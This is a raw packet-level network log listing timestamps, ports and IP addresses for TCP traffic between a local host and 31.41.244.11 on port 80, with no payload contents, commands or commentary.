Dec 20, 2024 11:12:14.087528944 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.088447094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.088491917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.088505030 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.088548899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.089543104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.089586973 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.089682102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.089724064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.090635061 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.090683937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.090778112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.090821028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.091803074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.091845989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.092957020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.092974901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.092999935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.093012094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.093029976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.093065977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.093960047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.094007969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.094011068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.094054937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.094959021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.095001936 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.095082998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.095125914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.095987082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.096031904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.231365919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.231393099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.231481075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.231503010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.231554985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.231601000 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.231688976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.231729984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.232634068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.232686043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.232748985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.232786894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.233736038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.233783007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.233859062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.233913898 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.234817982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.234875917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.234914064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.234957933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.235909939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.235969067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.236006975 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.236059904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.236996889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.237143040 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.237154007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.237200022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.238079071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.238131046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.238154888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.238202095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.239233971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.239286900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.239355087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.239403009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.240235090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.240283012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.240289927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.240333080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.241357088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.241403103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.241466045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.241507053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.242424965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.242475986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.242518902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.242562056 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.243521929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.243566990 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.243639946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.243684053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.244625092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.244673967 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.244750023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.244795084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.245693922 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.245738029 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.245781898 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.245826960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.246781111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.246825933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.246872902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.246915102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.247879028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.247925043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.247981071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.248025894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.248945951 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.248991966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.249034882 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.249078989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.250047922 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.250093937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.250097990 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.250135899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.251116991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.251162052 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.251240015 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.251281977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.252245903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.252293110 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.252336979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.252381086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.253583908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.253631115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.253673077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.253715992 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.254386902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.254432917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.254508018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.254551888 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.255501986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.255594015 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.255605936 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.255631924 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.256613970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.256659985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.256742954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.256789923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.257672071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.257715940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.257787943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.257836103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.258728027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.258773088 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.258903980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.258950949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.259830952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.259876013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.259912014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.259953976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.260914087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.260986090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.261044979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.261090040 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.262072086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.262113094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.262140989 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.262183905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.263094902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.263142109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.263178110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.263221979 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.264172077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.264221907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.264286041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.264324903 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.265280962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.265326977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.265475035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.265517950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.266335011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.266382933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.266457081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.266506910 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.267437935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.267482042 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.267602921 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.267647028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.268563986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.268609047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.268661022 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.268702984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.269645929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.269687891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.269731998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.269766092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.270798922 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.270844936 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.270916939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.270962954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.271800041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.271842003 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.271919012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.271960974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.272921085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.272965908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.272969007 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.273010969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.273958921 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.274005890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.274113894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.274158001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.275058985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.275103092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.275145054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.275188923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.276187897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.276232958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.276314020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.276357889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.277206898 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.277251005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.277318954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.277362108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.278321028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.278368950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.278556108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.278599024 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.279407024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.279448986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.279511929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.279556036 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.280500889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.280544996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.280719042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.280764103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.281578064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.281625032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.281687975 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.281730890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.282764912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.282810926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.282875061 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.282917976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.283746958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.283790112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.283862114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.283907890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.284854889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.284898043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.284918070 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.284961939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.285934925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.285978079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.286117077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.286159992 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.287005901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.287049055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.287085056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.287127972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.288038969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.288084030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.423446894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.423474073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.423496008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.423516989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.423669100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.423715115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.423955917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.424002886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.424880981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.424931049 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.425113916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.425180912 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.425319910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.425359011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.426187038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.426232100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.426271915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.426314116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.427330971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.427376986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.427405119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.427448034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.428352118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.428390980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.428483963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.428525925 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.429438114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.429476023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.429519892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.429564953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.430526972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.430571079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.430658102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.430699110 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.431617975 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.431660891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.431729078 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.431770086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.432693958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.432737112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.432825089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.432869911 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.433804035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.433849096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.433943033 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.433986902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.434854031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.434891939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.434895992 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.434931040 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.435965061 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.436011076 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.436053991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.436096907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.437068939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.437113047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.437223911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.437266111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.438136101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.438178062 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.438263893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.438307047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.439382076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.439425945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.439495087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.439538956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.440395117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.440435886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.440479040 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.440521955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.441437960 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.441483021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.441498995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.441548109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.442544937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.442588091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.442711115 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.442754030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.443645954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.443689108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.443742037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.443784952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.444683075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.444729090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.444772005 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.444814920 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.445743084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.445785046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.445827961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.445868969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.446820974 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.446863890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.446875095 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.446918011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.447916985 CET	80	49768	31.41.244.11	192.168.2.4
